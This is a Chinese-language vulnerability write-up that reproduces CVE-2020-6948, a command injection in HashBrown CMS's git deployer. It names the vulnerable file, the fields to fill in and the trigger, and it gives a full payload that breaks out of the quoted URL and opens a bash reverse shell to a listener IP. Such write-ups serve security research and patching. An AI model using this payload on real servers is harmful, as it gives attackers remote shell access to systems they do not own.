(CVE-2020-6948)HashBrown_CMS_远程命令执行漏洞

# (CVE-2020-6948)HashBrown CMS 远程命令执行漏洞

=======

一、漏洞简介
————

HashBrown CMS是一套开源的无头内容管理系统(CMS)。 HashBrown CMS
1.3.3及之前版本中存在远程代码执行漏洞,该漏洞源于程序没有进行正确的安全检查。攻击者可利用该漏洞执行代码。

二、漏洞影响
————

HashBrown CMS 1.3.3

三、复现过程
————

在之前收集的资料里面总结了发现漏洞基本有三个方法:

– 通过关键字搜索,比如exec方法在很多语言里面代表执行系统命令,那你就可以搜索查看传入exec方法的参数有没有经过过滤,有没有办法利用。
这个项目就罗列了很多语言的关键词可以用作参考。

– 根据function来阅读代码,但是这种方法花费的时间比第一种多,有可能迷失在各种各种各样的方法中。

– 通读代码,这样最全,但是显然速度要慢很多了。

对于Hashbrown
CMS,先用第一种方法开路。尝试了几个关键字之后我选取了exec这个关键字。在grep
之后发现了下面的结果。

![](/static/qingy/(CVE-2020-6948)HashBrown_CMS_远程命令执行漏洞/img/rId25.png)

看来这个应用使用git 相关命令,如果可以传入url
参数就有可能触发命令执行漏洞。接着打开Server/Entity/Deployer/GitDeployer.js
文件查看源代码。

![](/static/qingy/(CVE-2020-6948)HashBrown_CMS_远程命令执行漏洞/img/rId26.png)

其中可以看到url由username,password,和repro
几个变量拼接,而且其中没有过滤特殊的字符和命令。那接下来就是到页面里面寻找触发的点。经过对这个应用的一番熟悉,得知可以在登录后建立新的connection选择git部署的方式,在Repository,Branch,username或者password字段填写你要执行的命令即可。但是这里要注意程序本来的exec命令中填写有单引号,我们要对其进行闭合,比如填入如下命令来反弹一个shell。

https://google.com’ & /bin/bash -c ‘bash -i >& /dev/tcp/192.168.119.149/8888 0>&1

配置如下:

![](/static/qingy/(CVE-2020-6948)HashBrown_CMS_远程命令执行漏洞/img/rId27.png)

然后点击media菜单触发git命令执行

![](/static/qingy/(CVE-2020-6948)HashBrown_CMS_远程命令执行漏洞/img/rId28.png)

接下来在监听的机器上就可以获得shell了

![](/static/qingy/(CVE-2020-6948)HashBrown_CMS_远程命令执行漏洞/img/rId29.png)

参考链接
——–

>

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容